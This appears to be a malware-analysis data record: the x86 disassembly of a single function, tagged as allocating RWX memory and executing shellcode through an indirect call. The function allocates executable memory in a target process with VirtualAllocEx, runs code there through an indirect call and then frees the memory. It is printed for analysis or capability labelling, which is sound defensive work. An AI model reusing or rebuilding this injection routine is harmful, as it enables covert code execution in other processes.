Function at 0x10002509
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], esp
push 0x40
push 0x1000
push 0x40
push 0
push dword [0x10053b0a]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
nop
nop
cmp dword [ebp - 0x10], esp
je 0x1000256a
push 0x19
push 0x4015600
push 6
call fcn.1000863a
add esp, 0xc
mov dword [ebp - 4], eax
fild dword [ebp - 4]
fstp qword [ebp - 0x14]
fld qword [ebp - 0x14]
fadd qword [0x100212b4]
fstp qword [ebp - 0x1c]
push 0x80000004
push 0
mov ebx, dword [ebp + 0xc]
mov eax, dword [ebx]
test eax, eax
jne 0x10002594
mov eax, 0x100212bc
push eax
push 1
mov ebx, 0x198
call fcn.10008dc0
add esp, 0x10
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x20]
push eax
fld qword [ebp - 0x1c]
call fcn.100012c4
push eax
push dword [0x10053b02]
push 0x10053b12
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 0x50]
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x100025dc
push ebx
call fcn.10008634
add esp, 4
fild dword [ebp - 4]
fstp qword [ebp - 0x14]
fld qword [ebp - 0x14]
fadd qword [0x100212b4]
fstp qword [ebp - 0x1c]
push 0x80000601
push dword [ebp - 0x18]
push dword [ebp - 0x1c]
push 1
mov ebx, 0x9dc
call fcn.10008e90
add esp, 0x10
push 0x80000301
push 0
push eax
push 1
mov ebx, 0x198
call fcn.10008dc0
add esp, 0x10
mov dword [ebp - 0x24], eax
push dword [ebp + 8]
call fcn.10002864
push 0x80000301
push 0
push eax
push 1
mov ebx, 0x198
call fcn.10008dc0
add esp, 0x10
mov dword [ebp - 0x2c], eax
mov eax, 0x10021402
mov dword [ebp - 0x30], eax
lea eax, [ebp - 0x30]
push eax
mov eax, str.Kernel32.dll
mov dword [ebp - 0x34], eax
lea eax, [ebp - 0x34]
push eax
call fcn.1000165e
mov dword [ebp - 0x38], eax
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x1000267d
push ebx
call fcn.10008634
add esp, 4
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x1000268d
push ebx
call fcn.10008634
add esp, 4
push 0x80000301
push 0
push dword [ebp - 0x38]
push 1
mov ebx, 0x198
call fcn.10008dc0
add esp, 0x10
mov dword [ebp - 0x3c], eax
fild dword [ebp - 4]
fstp qword [ebp - 0x44]
fld qword [ebp - 0x44]
fadd qword [0x100212d7]
fstp qword [ebp - 0x4c]
push 0x80000601
push dword [ebp - 0x48]
push dword [ebp - 0x4c]
push 1
mov ebx, 0x9dc
call fcn.10008e90
add esp, 0x10
push 0x80000301
push 0
push eax
push 1
mov ebx, 0x198
call fcn.10008dc0
add esp, 0x10
mov dword [ebp - 0x54], eax
push 0x100212df
push dword [ebp - 0x54]
push 0x100212e9
push dword [ebp - 0x3c]
push 0x100212f4
push dword [ebp - 0x2c]
push 0x10021411
push dword [ebp - 0x24]
push 0x100212fd
mov ecx, 9
call fcn.100012eb
add esp, 0x24
mov dword [ebp - 0x58], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x1000273d
push ebx
call fcn.10008634
add esp, 4
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x1000274d
push ebx
call fcn.10008634
add esp, 4
mov ebx, dword [ebp - 0x3c]
test ebx, ebx
je 0x1000275d
push ebx
call fcn.10008634
add esp, 4
mov ebx, dword [ebp - 0x54]
test ebx, ebx
je 0x1000276d
push ebx
call fcn.10008634
add esp, 4
mov eax, dword [ebp - 0x58]
push eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x10002781
push ebx
call fcn.10008634
add esp, 4
pop eax
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
push dword [ebp - 4]
push dword [0x10053b02]
push 0x10053b12
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 0x50]
mov dword [ebp - 0x10], 0
push 0
lea eax, [ebp - 0x10]
push eax
mov dword [ebp - 0x14], 0
push 0
lea eax, [ebp - 0x14]
push eax
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push dword [ebp - 4]
push dword [0x10053b0a]
call fcn.100016d4
fild dword [ebp - 4]
fstp qword [ebp - 0x14]
fld qword [ebp - 0x14]
fadd qword [0x100212d7]
fstp qword [ebp - 0x1c]
fld qword [ebp - 0x1c]
call fcn.100012c4
push eax
push dword [0x10053b02]
push 0x10053b12
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 0x28]
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x10], esp
push 0x8000
push 0
push dword [ebp - 4]
push dword [0x10053b0a]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
nop
nop
cmp dword [ebp - 0x10], esp
je 0x10002844
push 0x2f1
push 0x4015600
push 6
call fcn.1000863a
add esp, 0xc
mov eax, dword [ebp - 0xc]
jmp 0x1000284c
push eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x1000285d
push ebx
call fcn.10008634
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret 8